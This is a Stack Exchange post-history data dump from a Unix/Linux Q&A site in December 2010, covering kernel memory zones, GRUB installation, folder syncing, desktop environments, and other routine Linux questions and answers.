  <row Id="11420" PostHistoryTypeId="2" PostId="5147" RevisionGUID="97835ced-5050-4d68-af4a-ddb55c04dd38" CreationDate="2010-12-26T11:58:06.977" UserId="885" Text="The same physical page can be mapped to more than one virtual address.&#xD;&#xA;&#xD;&#xA;ZONE_NORMAL consists of pages that can be mapped *by* the kernel. Most of that memory doesn't belong to the kernel, but the kernel needs to map all memory at some point (not necessarily all at the same time). For example, when the kernel is processing a `write` system call, it needs to copy data from the user-supplied buffer, which means the buffer must be mapped in the kernel's virtual address space.&#xD;&#xA;&#xD;&#xA;The diagram describes the (relatively) simple situation with no high memory. (If you work with high-end ARM devices, now is the time to start learning about high memory.) Then the kernel can map all process memory and all physical memory at the same time.&#xD;&#xA;&#xD;&#xA;Here's an example of virtual memory repartition as seen by kernel code (I'm not sure if the exact figures are possible, but the basic idea should be right). That is, I'm describing the meaning of a pointer used by kernel code.&#xD;&#xA;&#xD;&#xA;* `0x00000000..0x00000fff`: unallocated. A pointer in this range is invalid.&#xD;&#xA;* `0x00001000..0xbfffffff`: process memory. This is a pointer into the virtual address space of the process that the kernel code under consideration is processing a system call for. A page in that range could be unallocated, or it could be allocated and swapped in (in which case it also has a physical address), or it could be allocated and swapped out (in which case it doesn't have a physical address in RAM, but it has a location in swap).&#xD;&#xA;* `0xc0000000..0xdfffffff`: physical memory. A pointer in this range represents the physical address p-0xc0000000. The interpretation of this pointer does not actually depend on the MMU.&#xD;&#xA;* `0xe0000000..0xffefffff`: unallocated. A pointer in this range is invalid.&#xD;&#xA;* `0xff000000..0xffffffff`: kernel memory. This is a pointer into kernel code or data. A page in this range has an associated physical address, found by the MMU.&#xD;&#xA;&#xD;&#xA;I've found [Linux Device Drivers](http://lwn.net/Kernel/LDD3/) to be a good introduction to the innards of the Linux kernel. Ultimately, you may want to turn to the [source](http://lxr.linux.no/linux/).&#xD;&#xA;" />
  <row Id="11422" PostHistoryTypeId="2" PostId="5149" RevisionGUID="60310959-1c22-4e49-b21b-9d74820c38cc" CreationDate="2010-12-26T14:14:46.583" UserId="3310" Text="Hi guys,&#xD;&#xA;I'm trying to sync 2 folders containing audio files of multiple types (WMA, MP3, M4V,...). &#xD;&#xA;&#xD;&#xA;I want to sync these folders but the sync process should only take into account the file names, not the extensions. So, if folder A contains &quot;the suburbs.mp3&quot; and folder B contains &quot;the suburbs.m4v&quot;, the sync program should consider these 2 files the same (and not sync them).&#xD;&#xA;&#xD;&#xA;I was looking into the documentation of rsync but I can't seem find a way to do this. &#xD;&#xA;&#xD;&#xA;Does anyone have a suggestion, &#xD;&#xA;or maybe suggestions for other software that can do this?&#xD;&#xA;&#xD;&#xA;thanks,&#xD;&#xA;Thomas" />
  <row Id="11423" PostHistoryTypeId="1" PostId="5149" RevisionGUID="60310959-1c22-4e49-b21b-9d74820c38cc" CreationDate="2010-12-26T14:14:46.583" UserId="3310" Text="Using syncing files only comparing file name and not extension" />
  <row Id="11424" PostHistoryTypeId="3" PostId="5149" RevisionGUID="60310959-1c22-4e49-b21b-9d74820c38cc" CreationDate="2010-12-26T14:14:46.583" UserId="3310" Text="ésyncà" />
  <row Id="11425" PostHistoryTypeId="2" PostId="5150" RevisionGUID="96fd65bc-48f6-4af0-a97f-913fa9b1cb25" CreationDate="2010-12-26T16:07:13.517" UserId="1937" Text="Is there a way I can adjust contrast/brightness of the card (VGA) output when using the open source xorg radeon driver? I have a monitor that has poor image quality when its tweaked using it's knobs, and the only way I can get good image is to tweak it from the graphic card. I was using the proprietary fglrx until now, but i want to switch to radeon." />
  <row Id="11426" PostHistoryTypeId="1" PostId="5150" RevisionGUID="96fd65bc-48f6-4af0-a97f-913fa9b1cb25" CreationDate="2010-12-26T16:07:13.517" UserId="1937" Text="X.org radeon driver brightness/contrast adjusting" />
  <row Id="11427" PostHistoryTypeId="3" PostId="5150" RevisionGUID="96fd65bc-48f6-4af0-a97f-913fa9b1cb25" CreationDate="2010-12-26T16:07:13.517" UserId="1937" Text="éxorgàémonitorà" />
  <row Id="11428" PostHistoryTypeId="2" PostId="5151" RevisionGUID="3aa9d98e-f7f6-40be-9dfe-4fc55e6ccbaa" CreationDate="2010-12-26T16:09:18.960" UserId="3069" Text="On a 32-bit architecture, the address space range for addressing RAM is: &#xD;&#xA;&#xD;&#xA;    0x00000000 - 0xffffffff&#xD;&#xA;&#xD;&#xA;or `4'294'967'295` (4 GB).&#xD;&#xA;&#xD;&#xA;The linux kernel splits that up 3/1 (could also be 2/2, or 1/3) into user space (high memory) and kernel space (low memory).&#xD;&#xA;&#xD;&#xA;The user space range: &#xD;&#xA;&#xD;&#xA;    0x00000000 - 0xbfffffff&#xD;&#xA;&#xD;&#xA;Every newly spawned user process gets an address (range) inside this area. User processes are generally untrusted and therefore are forbidden to access the kernel space. Further, they are considered non-urgent, as a general rule, the kernel tries to defer the allocation of memory to those processes.&#xD;&#xA;&#xD;&#xA;The kernel space range: &#xD;&#xA;&#xD;&#xA;    0xc0000000 - 0xffffffff&#xD;&#xA;&#xD;&#xA;A kernel processes gets his address (range) here. The kernel can directly access this 1 GB of addresses (well, not the full 1 GB, there are 128 MB reserved for high memory access).  &#xD;&#xA;Processes spawned in kernel space are trusted, urgent and assumed error-free, the memory request gets processed instantaneously.   &#xD;&#xA;Every kernel process can also access the user space range if he wishes. To achieve this, the kernel maps an address from the user space (the high memory) to his kernel space (the low memory), the 128 MB mentioned above are especially reserved for this.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="11429" PostHistoryTypeId="2" PostId="5152" RevisionGUID="2ae84b4a-e241-4e56-ac00-588210cf45b5" CreationDate="2010-12-26T18:43:16.387" UserId="3069" Text="On a 32-bit architecture you have `0xffffffff` (`4'294'967'295` or 4 GB) linear addresses (not physical space) to refer to a physical address.  &#xD;&#xA;Even with only 512 MB of physical storage (the real RAM stick connected to the bus), the kernel will still use `4'294'967'295` (4 GB) linear addresses to calculate the physical ones.&#xD;&#xA;&#xD;&#xA;The linux kernel divides these 4 GB (of addresses) into the user space (high memory) and the kernel space (low memory) by 3/1, so the kernel space has `1'073'741'823` (1 GB) of linear addresses to use.&#xD;&#xA;&#xD;&#xA;These 1 GB of linear addresses, are only accessible by the kernel and are getting divided up even further.&#xD;&#xA;&#xD;&#xA;**ZONE_DMA**: Contains page frames of memory below 16 MB. This is used for old ISA buses, they are able to address only the first 16 MB of RAM.&#xD;&#xA;&#xD;&#xA;**ZONE_NORMAL**: Contains page frames of memory at and above 16 MB and below 896 MB, these are the addresses, which the kernel can map/access directly.&#xD;&#xA;&#xD;&#xA;**ZONE_HIGHMEM**: Contains page frames of memory at and above 896 MB, page frames above this border are not generally mapped to the kernel space and therefore not directly accessible by the kernel. Page frames from the user space can be temporarily or permanently mapped here.&#xD;&#xA;&#xD;&#xA;How much real, physical RAM space is occupied by the different zones depends on the form and number of processes you run.&#xD;&#xA;&#xD;&#xA;If you enter `free -ml` in your console, you can see the usage including low- and high memory:&#xD;&#xA;&#xD;&#xA;                 total       used       free     shared    buffers     cached&#xD;&#xA;    Mem:          3022       2116        905          0        105       1342&#xD;&#xA;    Low:           839        196        642&#xD;&#xA;    High:         2182       1919        263&#xD;&#xA;    -/+ buffers/cache:        667       2354&#xD;&#xA;    Swap:         2859         93       2766&#xD;&#xA;" />
  <row Id="11430" PostHistoryTypeId="5" PostId="5143" RevisionGUID="0ccaca60-8154-433c-8764-5883c7e78b67" CreationDate="2010-12-26T22:55:00.433" UserId="1207" Comment="added image" Text="![Diagram][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Above is presented a case where I have only 512 MB of physical memory. What I have read up so far, is that ZONE_NORMAL is mapped to the kernel virtual address space as shown. Essentially I have a 512 MB physical memory, out of which 496 MB worth of ZONE_NORMAL is mapped to the kernel virtual space. Based on this understanding, following are my question:&#xD;&#xA;&#xD;&#xA; - Does, ZONE_NORMAL consists of **only** kernel space pages ?&#xD;&#xA; - If ZONE_NORMAL consists only of kernel pages and is mapped **completely** to the kernel space virtual address range, where do the user space pages get located ?? There does not seem to be any room for user space pages in physical memory.&#xD;&#xA;&#xD;&#xA;I am totally mixed up of the case where the physical memory is less than 4GB as shown in this case that I have put forth.&#xD;&#xA;&#xD;&#xA;Would really appreciate if someone can throw light on this.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/bjDpe.jpg" />
  <row Id="11431" PostHistoryTypeId="2" PostId="5153" RevisionGUID="78f16401-dacb-4299-b066-346729cd7a5a" CreationDate="2010-12-26T23:00:42.797" UserId="3086" Text="You could use [fish][1] instead of Bash. It has the functionality you're searching and lots interesting more.&#xD;&#xA;&#xD;&#xA;For your example. Just type in&#xD;&#xA;&#xD;&#xA;    open manual.pdf&#xD;&#xA;&#xD;&#xA;and it opens the pdf file with the associated program.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Friendly_interactive_shell" />
  <row Id="11432" PostHistoryTypeId="2" PostId="5155" RevisionGUID="f7ea8c06-f83c-4f91-845b-d674eb57380a" CreationDate="2010-12-26T19:08:56.187" UserDisplayName="user502515" Text="A linux kernel image with a custom initramfs that suits your needs (i.e. includes said program to send said packets)." />
  <row Id="11433" PostHistoryTypeId="2" PostId="5154" RevisionGUID="e624f763-2bf3-45e4-b394-70934152066f" CreationDate="2010-12-26T17:11:07.710" UserDisplayName="user271077" Text="I'm looking for an image which will boot quickly (I assume it'll be linux) and have lan drivers- for sending TCP / UDP packets to another system in teh same network.&#xD;&#xA;Idealy if possible I would like to have an image with a prameter - the destination address for sending the packets but otherwise I'll just send - broadcast.&#xD;&#xA;what tools / types/ OS would suit this situation?" />
  <row Id="11434" PostHistoryTypeId="1" PostId="5154" RevisionGUID="e624f763-2bf3-45e4-b394-70934152066f" CreationDate="2010-12-26T17:11:07.710" UserDisplayName="user271077" Text="Bootable image with lan drivers" />
  <row Id="11435" PostHistoryTypeId="3" PostId="5154" RevisionGUID="e624f763-2bf3-45e4-b394-70934152066f" CreationDate="2010-12-26T17:11:07.710" UserDisplayName="user271077" Text="élinuxàénetworkingàébootableà" />
  <row Id="11436" PostHistoryTypeId="17" PostId="5154" RevisionGUID="304fb76e-54d7-4cf4-9702-1ce3224c4665" CreationDate="2010-12-27T00:54:50.677" UserId="-1" Comment="from http://stackoverflow.com/questions/4534675/bootable-image-with-lan-drivers" Text="" />
  <row Id="11437" PostHistoryTypeId="2" PostId="5156" RevisionGUID="0881578a-8661-4902-810d-92a016609286" CreationDate="2010-12-27T02:42:54.603" UserId="2699" Text="Hi, I am using Ubuntu 10.10. &#xD;&#xA;I have 40G of disk space in my partition /home &#xD;&#xA;and have used up 10 G of it, so I should have 30G left.&#xD;&#xA;But somehow disk space disappeared almost completely.&#xD;&#xA;I don't know what ate up the disk space.  I checked with &#xD;&#xA;&quot;ps ax&quot; and then &quot;du&quot; and couldn't find strange activities.&#xD;&#xA;I would need to reboot the system to recover the free space!&#xD;&#xA;Any ideas?&#xD;&#xA;Thanks!&#xD;&#xA;" />
  <row Id="11438" PostHistoryTypeId="1" PostId="5156" RevisionGUID="0881578a-8661-4902-810d-92a016609286" CreationDate="2010-12-27T02:42:54.603" UserId="2699" Text="Disk space disappearing" />
  <row Id="11439" PostHistoryTypeId="3" PostId="5156" RevisionGUID="0881578a-8661-4902-810d-92a016609286" CreationDate="2010-12-27T02:42:54.603" UserId="2699" Text="éubuntuà" />
  <row Id="11440" PostHistoryTypeId="5" PostId="5130" RevisionGUID="fe043e70-4287-4846-b9e0-fb267761450d" CreationDate="2010-12-27T03:55:44.060" UserId="3283" Comment="added 880 characters in body" Text="I can't find a definitive list of rolling distros any where on the web.&#xD;&#xA;&#xD;&#xA;DistroWatch doesn't have one, though I posted a comment suggesting they add such or label rolling releases and the type of release/dev. cycle generally.&#xD;&#xA;&#xD;&#xA;Wikipedia have a very small page for &quot;Rolling Release&quot; only which list about five or so merely as examples of rolling releases.&#xD;&#xA;&#xD;&#xA;I would like to start a Wikipedia page &quot;List of Rolling Release Linux Distributions&quot;.&#xD;&#xA;&#xD;&#xA;I would be happy to help with such as I have been trying to find a good guide to Linux rolling release distros.&#xD;&#xA;&#xD;&#xA;If you would be willing to help me with the page please post below or email my screen name at gmail if you like the idea or have a better one.&#xD;&#xA;&#xD;&#xA;I still need to set up a Wikipedia account but thought I'd see if any one was interested in the project first.&#xD;&#xA;&#xD;&#xA;I would like to collaborate with other in creating the page as I've only used Linux for a year or so &amp; I'm still something of a newbie.&#xD;&#xA;&#xD;&#xA;I look forward to hearing your thoughts on the proposal.&#xD;&#xA;&#xD;&#xA;** Edit in reply to the comments below **&#xD;&#xA;&#xD;&#xA;Fist of all I'd like to apologize for posting the question. Sorry: I should have read the guidelines first on what types of question are allowed. Feel free to erase this question entirely as I'm not sure how this is done.&#xD;&#xA;&#xD;&#xA;My question really should have been: &quot;Does anyone know whether a comprehensive list of rolling-release Linux distros exists anywhere on the Web [before I bother to create a Wikipedia article for such]?&quot;. -- Would this be a suitable question to post on this site?&#xD;&#xA;&#xD;&#xA;If not I'll just leave things as they stand. BTW, many thanks to those who commented below (and whoever closed the question for me). In future, I'll endeavour to make sure I don't make the same mistake of asking an ambiguous question (or one that's inappropriate given the site's purpose).&#xD;&#xA;&#xD;&#xA;Many thanks for the clarification.&#xD;&#xA;&#xD;&#xA;Tuxalot." />
  <row Id="11441" PostHistoryTypeId="10" PostId="5156" RevisionGUID="9cae9da6-8d83-403d-b8e0-61d6ace43322" CreationDate="2010-12-27T03:58:42.337" UserId="73" CloseReasonId="1" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="11442" PostHistoryTypeId="5" PostId="5156" RevisionGUID="341a3705-132b-4830-a996-9a43e2b38cec" CreationDate="2010-12-27T03:58:42.540" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [How to understand what&amp;#39;s taking up space?](http://unix.stackexchange.com/questions/3961/how-to-understand-whats-taking-up-space)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;Hi, I am using Ubuntu 10.10. &#xD;&#xA;I have 40G of disk space in my partition /home &#xD;&#xA;and have used up 10 G of it, so I should have 30G left.&#xD;&#xA;But somehow disk space disappeared almost completely.&#xD;&#xA;I don't know what ate up the disk space.  I checked with &#xD;&#xA;&quot;ps ax&quot; and then &quot;du&quot; and couldn't find strange activities.&#xD;&#xA;I would need to reboot the system to recover the free space!&#xD;&#xA;Any ideas?&#xD;&#xA;Thanks!&#xD;&#xA;" />
  <row Id="11443" PostHistoryTypeId="2" PostId="5157" RevisionGUID="fa0f7b09-4d1f-4613-8723-987659ddbe87" CreationDate="2010-12-27T06:27:54.527" UserId="3316" Text="Tabs are generally used for views and ViM tries to maintain your producitivty with plugins like BufExplorer and NERDTree for buffer management. However, I'm also guilty of using a single buffer open in each tab - it's a bad habit." />
  <row Id="11444" PostHistoryTypeId="2" PostId="5158" RevisionGUID="108bda73-629d-4ea6-946d-63f9d63dd0a1" CreationDate="2010-12-27T06:35:05.613" UserId="2871" Text="Hi,  &#xD;&#xA;&#xD;&#xA;You will have to download the needed linux source from the kernel.org.  &#xD;&#xA;Install the development tools. For eg. in Fedora  &#xD;&#xA;&#xD;&#xA;&gt; yum groupinstall &quot;Development Tools&quot;  &#xD;&#xA;&gt; yum install ncurses-devel   &#xD;&#xA;&gt; yum install qt-devel&#xD;&#xA;&#xD;&#xA;Then untar the source code and place it in /usr/src/kernels/  &#xD;&#xA;Then go inside the source and do a   &#xD;&#xA;&#xD;&#xA;&gt; make menuconfig&#xD;&#xA;&#xD;&#xA;After that add the necessary modules needed for your kernel. If you are concentrating on Network, do the needful inside the Network options.  &#xD;&#xA;After adding the necessary options save the profile and exit.&#xD;&#xA;Then do the following&#xD;&#xA;&#xD;&#xA;&gt; make &amp;&amp; make modules &amp;&amp; make&#xD;&#xA;&gt; modules_install &amp;&amp; make install&#xD;&#xA;&#xD;&#xA;Now check your grub.conf under /boot/grub/grub.conf and make sure you have the configuration for your kernel in it.  &#xD;&#xA;&#xD;&#xA;Now you can add the program which does &lt;whatever you need&gt; to the initrd image.  &#xD;&#xA;The initrd has an init function... modify the init function, to include your custom function.  &#xD;&#xA;&#xD;&#xA;Hope this will solve your problem.  &#xD;&#xA;&#xD;&#xA;Thanks,   &#xD;&#xA;Sen" />
  <row Id="11445" PostHistoryTypeId="2" PostId="5159" RevisionGUID="6223dd6b-4a64-481f-8903-4548f5090455" CreationDate="2010-12-27T06:42:03.120" UserId="2269" Text="hi all,&#xD;&#xA;&#xD;&#xA;May i know all the differences between the KDE and GNOME projects?&#xD;&#xA;&#xD;&#xA;_Kanu&#xD;&#xA;&#xD;&#xA;" />
  <row Id="11446" PostHistoryTypeId="1" PostId="5159" RevisionGUID="6223dd6b-4a64-481f-8903-4548f5090455" CreationDate="2010-12-27T06:42:03.120" UserId="2269" Text="What is the difference between KDE and GNOME" />
  <row Id="11447" PostHistoryTypeId="3" PostId="5159" RevisionGUID="6223dd6b-4a64-481f-8903-4548f5090455" CreationDate="2010-12-27T06:42:03.120" UserId="2269" Text="élinuxà" />
  <row Id="11448" PostHistoryTypeId="2" PostId="5160" RevisionGUID="f2c03261-66d4-43e4-8294-c5c6fcbedb41" CreationDate="2010-12-27T07:02:10.687" UserId="2413" Text="In some sense, it is a UI convention with history that goes back all the way to 1984.  Since Windows and X11 both post date the original Mac GUI, one might say that Windows does it the Windows way &quot;just to be different&quot; rather than suggesting that the Mac is the oddball.&#xD;&#xA;&#xD;&#xA;Back in the earliest days of the Macintosh, you could only run one application at a time.  It was perfectly reasonable for an application to open with no windows because the application always had a visible menu bar at the top of the screen.  When you closed all the windows of an application, it made sense to keep the application open because you could always use the menu bar to create a new document, or open an existing one.  Exiting the process just because a window was closed didn't make any sense at the time, because there would have been no other process to yield focus to.&#xD;&#xA;&#xD;&#xA;A few years on, the Macintosh of the late 80's advanced to the point where there was enough memory to have multiple applications open at once.  Since the tools for doing this had to retain backwards compatibility with existing applications, they naturally weren't going to change the basic UI conventions and go killing applications without any windows open.  The result was a clean distinction in the UI between a visual GUI element (a window), and an abstract running process  (the application).&#xD;&#xA;&#xD;&#xA;Meanwhile, Microsoft had been developing Windows.  By the early 90's, Microsoft had Windows 3.X working well, and Motif on X11 had been heavily inspired by Microsoft's work.  While the Macintosh was built around presenting a UI of Applications, Windows (as the name would suggest) was built around the philosophy that the Window itself should be the fundamental unit of the UI, with the only concept of an application being in the form of MDI style container windows.  X11 also considered an application largely unimportant from a UI standpoint.  A single process could even open up windows on multiple displays connected to several machines across a (very new-fangled) local area network.&#xD;&#xA;&#xD;&#xA;The trouble with the Windows style approach was that you couldn't do some forms of user interaction, such as opening with just a menu bar, and the user had no real guarantee that a process had actually exited when the windows were gone.  A Macintosh user could easily switch to an application that was running without windows to quit it, or to use it, but Windows provided absolutely no way for the user to interact with such a process.  (Except to notice it in the task manager, and kill it.) Also, a user couldn't choose to leave a process running so that they could get back to it without relaunching it, except to keep some visible UI from the process cluttering up the screen, and consuming (at the time, very limited) resources.  While the Macintosh had an &quot;Applications&quot; menu for switching, Windows popularised a &quot;task bar,&quot; which displayed all top level windows without any regard for the process that had opened them.  For heavy multitaskers, the &quot;task bar soup&quot; proved unweildy.  For more basic users, the upredictability about what exactly qualified as a &quot;top level window&quot; was sometimes confusing as there was no learnable rule about exactly which windows would actually show up on the bar.&#xD;&#xA;&#xD;&#xA;By the late 90's, Microsoft's GUI was the most commonly used.  Most users has a Windows PC rather than a Macintosh or a UNIX X11 workstation.  Consequently, as Linux grew in popularity over time, many developers were coming from a background of using Windows UI conventions rather than UNIX UI conventions.  That combined with the history of early work on things like Motif drawing from Windows UI conventions, to result in modern Linux desktop environments behaving much more like Windows than classic X11 things like twm or the Macintosh.&#xD;&#xA;&#xD;&#xA;At this point, &quot;classic&quot; Mac OS had run its course with Mac OS 9, and the Macintosh became a Unix powered machine with very different guts in the form of Mac OS X.  Thus, it inherited the NeXT UI concept of a Dock.  On the original NeXT machines, X11 was used, but with a fairly unique set of widgets and UI conventions.  Probably the most distinctive of them was the Dock, which was a sort of combination program launcher and task switcher.  (The &quot;multicolumn&quot; open file dialog box that is known in OS-X also came from NeXT, as well as some other visible things.  The most significant changes in the OS-X transition were all the invisible ones, though.)  The Dock worked well with the Macintosh's concept of &quot;Application as the fundamental UI element.&quot;  So, a user could see that an application is open by a mark on the dock icon, and switch to it or launch it by clicking on it.  Since modern OS-X now supported multitasking so much better than the classic Mac OS had, it suddenly made sense that a user might want to have all sorts of things running in the background, such as some video conversion software that cranks away in the background, a screen recorder, VOIP software, Internet Radio, a web server, something that speaks in response to a spoken command, etc.  None of that stuff necessarily requires a visible window to be open to still have a sensible user experience, and the menu bar was still separate from the windows at the top of the screen, and you could have a menu directly on the dock icon, so a user could always interact with a  program that had no open UI.  consequently, ditching the existing convention of keeping an application open, just to be more like Windows, would have been seen by most Mac users as a horrible step in the wrong direction.  It makes several modes of interaction impossible, with no real benefit.&#xD;&#xA;&#xD;&#xA;Obviously, some users prefer the Windows convention, and neither is &quot;provably correct.&quot;  But, migrating away from something useful like that, without any good reason would just make no sense.  Hopefully, this tour through some of the history gives you a bit of context that you find useful." />
  <row Id="11449" PostHistoryTypeId="5" PostId="5159" RevisionGUID="e1d44af8-5ba9-4294-914c-beec975c1b2f" CreationDate="2010-12-27T07:25:14.797" UserId="1207" Comment="changed question so that it couldn't be answered with a &quot;Yes!&quot;" Text="What are all the differences between the KDE and GNOME projects?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="11450" PostHistoryTypeId="5" PostId="5154" RevisionGUID="d896feb1-0604-4628-9313-d2d62360a671" CreationDate="2010-12-27T07:27:36.417" UserId="1207" Comment="minor spelling corrections. More work needed." Text="I'm looking for an image which will boot quickly (I assume it'll be linux) and have LAN drivers- for sending TCP / UDP packets to another system in the same network.&#xD;&#xA;Ideally, if possible, I would like to have an image with a parameter - the destination address for sending the packets but otherwise I'll just send - broadcast.&#xD;&#xA;what tools / types/ OS would suit this situation?" />
  <row Id="11451" PostHistoryTypeId="4" PostId="5154" RevisionGUID="d896feb1-0604-4628-9313-d2d62360a671" CreationDate="2010-12-27T07:27:36.417" UserId="1207" Comment="minor spelling corrections. More work needed." Text="Bootable image with LAN drivers" />
  <row Id="11452" PostHistoryTypeId="2" PostId="5161" RevisionGUID="d2a86cb3-710d-4069-8051-ba23b9db2116" CreationDate="2010-12-27T07:38:19.637" UserId="2594" Text="You should switch to a POSIX compliant shell, like one of bash, ksh, dash, but not zsh and certainly not tcsh. It has been a long time since csh was declared a poor choice for scripting: http://www.faqs.org/faqs/unix-faq/shell/csh-whynot/  , tcsh isn't that much different in that area.&#xD;&#xA;&#xD;&#xA;When writing scripts, make sure to use POSIX only constructions (i.e. avoid bashisms and the likes) if you don't want to be locked again in something non portable." />
  <row Id="11453" PostHistoryTypeId="5" PostId="5161" RevisionGUID="2f81556d-88d6-4a83-8366-9ff79de89047" CreationDate="2010-12-27T07:45:49.787" UserId="2594" Comment="added 74 characters in body" Text="You should switch to a POSIX compliant shell http://pubs.opengroup.org/onlinepubs/009695399/utilities/xcu_chap02.html , like one of bash, ksh, dash, but not zsh and certainly not tcsh. It has been a long time since csh was declared a poor choice for scripting: http://www.faqs.org/faqs/unix-faq/shell/csh-whynot/  , tcsh isn't that much different in that area.&#xD;&#xA;&#xD;&#xA;When writing scripts, make sure to use POSIX only constructions (i.e. avoid bashisms and the likes) if you don't want to be locked again in something non portable." />
  <row Id="11454" PostHistoryTypeId="2" PostId="5162" RevisionGUID="c19f2c82-f46a-493e-a38c-55d33bcea288" CreationDate="2010-12-27T07:47:00.010" UserId="3267" Text="Currently I have the entire disk `/dev/sda` formatted as ext4, and installed Gentoo. &#xD;&#xA;&#xD;&#xA;(There is no MBR, no partition at all. )&#xD;&#xA;&#xD;&#xA;But finally, I can't install GRUB on it, because it seems like GRUB needs to write to MBR. &#xD;&#xA;&#xD;&#xA;Any way I can install GRUB into the /dev/sda without MBR?&#xD;&#xA;" />
  <row Id="11455" PostHistoryTypeId="1" PostId="5162" RevisionGUID="c19f2c82-f46a-493e-a38c-55d33bcea288" CreationDate="2010-12-27T07:47:00.010" UserId="3267" Text="How to install GRUB on the boot sector instead of MBR?" />
  <row Id="11456" PostHistoryTypeId="3" PostId="5162" RevisionGUID="c19f2c82-f46a-493e-a38c-55d33bcea288" CreationDate="2010-12-27T07:47:00.010" UserId="3267" Text="égrubà" />
  <row Id="11457" PostHistoryTypeId="2" PostId="5163" RevisionGUID="ccb236be-8a8b-4fe8-8d4e-3578b3e67889" CreationDate="2010-12-27T08:14:45.237" UserId="2567" Text="The main difference is that KDE is C++ with Qt, while Gnome is C based on top of GTK.&#xD;&#xA;&#xD;&#xA;Then you have the windowmanager that has a different philosophy on what to show the user. &#xD;&#xA;&#xD;&#xA;And then you have the applications that that is just different..." />
  <row Id="11458" PostHistoryTypeId="2" PostId="5164" RevisionGUID="c39c458b-92d7-4c42-aa73-150ccd6b12f2" CreationDate="2010-12-27T08:47:49.827" UserId="3198" Text="Its not mandatory that GRUB needs to be written to MBR. You can install it on partition boot sector and let the other boot loader from MBR load it, such as Windows 7 loader.&#xD;&#xA;&#xD;&#xA;http://www.linuxselfhelp.com/gnu/grub/html_chapter/grub_3.html" />
  <row Id="11459" PostHistoryTypeId="6" PostId="5159" RevisionGUID="f8596df8-5156-4a4e-af9d-0d43df3feefa" CreationDate="2010-12-27T08:58:18.223" UserId="688" Comment="edited tags" Text="égnomeàékdeà" />
  <row Id="11460" PostHistoryTypeId="5" PostId="5159" RevisionGUID="f9cfe7b6-3f24-48e2-93ae-6670d3ceedb1" CreationDate="2010-12-27T09:37:10.733" UserId="2269" Comment="added 344 characters in body; edited title" Text="What are all the differences between the KDE and GNOME projects?&#xD;&#xA;&#xD;&#xA;This is because, I want to select one (either KDE/GNOME) as my host OS for my embedded development project.&#xD;&#xA;&#xD;&#xA;I would like to get all details(both code level and GUI level) like C(GTK for GNOME) and C++(QT for KDE)&#xD;&#xA;&#xD;&#xA;Also , why these kind of classification?&#xD;&#xA;&#xD;&#xA;Which one is more efficient or stable in one developers perspective?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;__Kanu " />
  <row Id="11461" PostHistoryTypeId="4" PostId="5159" RevisionGUID="f9cfe7b6-3f24-48e2-93ae-6670d3ceedb1" CreationDate="2010-12-27T09:37:10.733" UserId="2269" Comment="added 344 characters in body; edited title" Text="What is the difference between KDE and GNOME , for embedded development host decision" />
  <row Id="11462" PostHistoryTypeId="2" PostId="5165" RevisionGUID="1250eb96-c280-4859-8288-e03b055aa8cc" CreationDate="2010-12-27T10:15:58.860" UserId="3082" Text="Just about everything expects a partition table. I think you will have to re-install, and follow the suggested guidelines of having at least a /boot, swap, and /root partition. Where's your swap?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="11463" PostHistoryTypeId="2" PostId="5166" RevisionGUID="4ed2e0a8-d7b7-4e2d-b933-92fa816c5768" CreationDate="2010-12-27T10:30:40.090" UserId="3082" Text="Your best bet on Mac hardware is to use [rEFIt][1]. I've used that and it works well.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://refit.sourceforge.net/" />
  <row Id="11464" PostHistoryTypeId="2" PostId="5167" RevisionGUID="ae22d528-60bb-4c5b-9d9e-43395cb475ab" CreationDate="2010-12-27T10:41:21.103" UserId="3069" Text="Be aware that fiddling around with the fan speed can overheat your machine and kill components!&#xD;&#xA;&#xD;&#xA;Anyway, the ArchLinux wiki has a [page][1] describing how to setup `lm-sensors` and `fancontrol` to achieve speed control.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.archlinux.org/index.php/Fan_Speed_Control" />
  <row Id="11465" PostHistoryTypeId="5" PostId="5163" RevisionGUID="d8615f1d-8b12-4de2-a699-6188a87506a1" CreationDate="2010-12-27T11:55:12.263" UserId="2567" Comment="clarify" Text="The main difference is that KDE is C++ with Qt, while Gnome is C based on top of GTK.&#xD;&#xA;&#xD;&#xA;Then you have the windowmanager that has a different philosophy on what to show the user. &#xD;&#xA;&#xD;&#xA;And then you have the applications that that is just different...&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Update: They are both good nice and stable (if you select the right versions).&#xD;&#xA;They can do approximately the same but in different ways, so it is hard to compare.&#xD;&#xA;&#xD;&#xA;My personal view is that Qt is a nice framework to write software with, &#xD;&#xA;but I also know that there is a lot of guys that would say exactly the same for gtk.&#xD;&#xA;&#xD;&#xA;Since this is the topic for a classic flamewar, [there is a lot written all over the internet on this topic][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/search?q=kde+vs+gnome" />
